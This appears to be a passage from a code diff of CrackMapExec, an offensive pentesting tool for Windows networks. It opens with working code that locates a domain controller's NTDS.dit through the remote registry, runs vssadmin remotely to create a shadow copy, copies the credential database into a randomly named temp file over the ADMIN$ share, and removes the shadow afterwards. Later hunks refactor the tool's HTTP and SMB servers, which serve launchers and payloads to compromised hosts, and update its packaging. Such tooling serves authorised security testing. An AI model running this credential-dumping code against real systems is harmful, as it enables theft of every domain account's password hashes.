if str(e).find('SHARING') > 0:
# Stuff didn't finish yet.. wait more
sleep(5)
tries +=1
pass
else:
raise
lines = self.__answerTMP.split('\n')
lastShadow = ''
lastShadowFor = ''
# Let's find the last one
# The string used to search the shadow for drive. Wondering what happens
# in other languages
SHADOWFOR = 'Volume: ('
for line in lines:
if line.find('GLOBALROOT') > 0:
lastShadow = line[line.find('\\\\?'):][:-1]
elif line.find(SHADOWFOR) > 0:
lastShadowFor = line[line.find(SHADOWFOR)+len(SHADOWFOR):][:2]
self.__smbConnection.deleteFile('ADMIN$', 'Temp\\__output')
return lastShadow, lastShadowFor
def saveNTDS(self):
logging.info('Searching for NTDS.dit')
# First of all, let's try to read the target NTDS.dit registry entry
ans = rrp.hOpenLocalMachine(self.__rrp)
regHandle = ans['phKey']
try:
ans = rrp.hBaseRegOpenKey(self.__rrp, self.__regHandle, 'SYSTEM\\CurrentControlSet\\Services\\NTDS\\Parameters')
keyHandle = ans['phkResult']
except:
# Can't open the registry path, assuming no NTDS on the other end
return None
try:
dataType, dataValue = rrp.hBaseRegQueryValue(self.__rrp, keyHandle, 'DSA Database file')
ntdsLocation = dataValue[:-1]
ntdsDrive = ntdsLocation[:2]
except:
# Can't open the registry path, assuming no NTDS on the other end
return None
rrp.hBaseRegCloseKey(self.__rrp, keyHandle)
rrp.hBaseRegCloseKey(self.__rrp, regHandle)
logging.info('Registry says NTDS.dit is at %s. Calling vssadmin to get a copy. This might take some time' % ntdsLocation)
# Get the list of remote shadows
shadow, shadowFor = self.__getLastVSS()
if shadow == '' or (shadow != '' and shadowFor != ntdsDrive):
# No shadow, create one
self.__executeRemote('%%COMSPEC%% /C vssadmin create shadow /For=%s' % ntdsDrive)
shadow, shadowFor = self.__getLastVSS()
shouldRemove = True
if shadow == '':
raise Exception('Could not get a VSS')
else:
shouldRemove = False
# Now copy the ntds.dit to the temp directory
tmpFileName = ''.join([random.choice(string.letters) for _ in range(8)]) + '.tmp'
self.__executeRemote('%%COMSPEC%% /C copy %s%s %%SYSTEMROOT%%\\Temp\\%s' % (shadow, ntdsLocation[2:], tmpFileName))
if shouldRemove is True:
self.__executeRemote('%%COMSPEC%% /C vssadmin delete shadows /For=%s /Quiet' % ntdsDrive)
self.__smbConnection.deleteFile('ADMIN$', 'Temp\\__output')
remoteFileName = RemoteFile(self.__smbConnection, 'Temp\\%s' % tmpFileName)
return remoteFileName

0
cme/servers/__init__.py Executable file
View File

20
cme/cmeserver.py → cme/servers/http.py Normal file → Executable file
View File

@ -5,30 +5,25 @@ import os
import sys
import logging
from BaseHTTPServer import BaseHTTPRequestHandler
from logging import getLogger
from gevent import sleep
from cme.helpers import highlight
from cme.helpers.logger import highlight
from cme.logger import CMEAdapter
class RequestHandler(BaseHTTPRequestHandler):
def log_message(self, format, *args):
server_logger = CMEAdapter(getLogger('CME'), {'module': self.server.module.name.upper(), 'host': self.client_address[0]})
server_logger = CMEAdapter(extra={'module': self.server.module.name.upper(), 'host': self.client_address[0]})
server_logger.info("- - %s" % (format%args))
def do_GET(self):
if hasattr(self.server.module, 'on_request'):
server_logger = CMEAdapter(getLogger('CME'), {'module': self.server.module.name.upper(), 'host': self.client_address[0]})
server_logger = CMEAdapter(extra={'module': self.server.module.name.upper(), 'host': self.client_address[0]})
self.server.context.log = server_logger
launcher = self.server.module.launcher(self.server.context, None if not hasattr(self.server.module, 'command') else self.server.module.command)
payload = self.server.module.payload(self.server.context, None if not hasattr(self.server.module, 'command') else self.server.module.command)
self.server.module.on_request(self.server.context, self, launcher, payload)
self.server.module.on_request(self.server.context, self)
def do_POST(self):
if hasattr(self.server.module, 'on_response'):
server_logger = CMEAdapter(getLogger('CME'), {'module': self.server.module.name.upper(), 'host': self.client_address[0]})
server_logger = CMEAdapter(extra={'module': self.server.module.name.upper(), 'host': self.client_address[0]})
self.server.context.log = server_logger
self.server.module.on_response(self.server.context, self)
@ -54,6 +49,7 @@ class CMEServer(threading.Thread):
self.server.context = context
self.server.log = context.log
self.cert_path = os.path.join(os.path.expanduser('~/.cme'), 'cme.pem')
self.server.track_host = self.track_host
logging.debug('CME server type: ' + server_type)
if server_type == 'https':
@ -75,9 +71,9 @@ class CMEServer(threading.Thread):
self.server.hosts.append(host_ip)
def run(self):
try:
try:
self.server.serve_forever()
except:
except:
pass
def shutdown(self):

4
cme/cmesmbserver.py → cme/servers/smb.py Normal file → Executable file
View File

@ -27,9 +27,9 @@ class CMESMBServer(threading.Thread):
sys.exit(1)
def run(self):
try:
try:
self.server.start()
except:
except:
pass
def shutdown(self):

0
cme/targetparser.py Normal file → Executable file
View File

3
requirements.txt Normal file → Executable file
View File

@ -1,4 +1,5 @@
impacket>=0.9.15
git+https://github.com/CoreSecurity/impacket
git+https://github.com/the-useless-one/pywerview
gevent
netaddr
pycrypto

2
setup.cfg Executable file
View File

@ -0,0 +1,2 @@
[metadata]
description-file = README.md

14
setup.py Normal file → Executable file
View File

@ -1,14 +1,17 @@
from setuptools import setup, find_packages
setup(name='crackmapexec',
version='3.1.5-dev',
description='A swiss army knife for pentesting Windows/Active Directory environments',
#dependency_links = ['https://github.com/CoreSecurity/impacket/tarball/master#egg=impacket-0.9.16dev'],
version='4.0.0dev',
description='A swiss army knife for pentesting networks',
dependency_links = ['https://github.com/CoreSecurity/impacket/tarball/master#egg=impacket-0.9.16dev',
'https://github.com/the-useless-one/pywerview/tarball/master#egg=pywerview-0.1.1'],
classifiers=[
'Environment :: Console',
'License :: OSI Approved :: BSD License',
'Programming Language :: Python :: 2.7',
'Topic :: Security',
],
keywords='pentesting security windows smb active-directory',
keywords='pentesting security windows smb active-directory networks',
url='http://github.com/byt3bl33d3r/CrackMapExec',
author='byt3bl33d3r',
author_email='byt3bl33d3r@gmail.com',
@ -17,7 +20,8 @@ setup(name='crackmapexec',
"cme", "cme.*"
]),
install_requires=[
'impacket>=0.9.15',
'impacket>=0.9.16dev',
'pywerview>=0.1.1',
'gevent',
'netaddr',
'pyOpenSSL',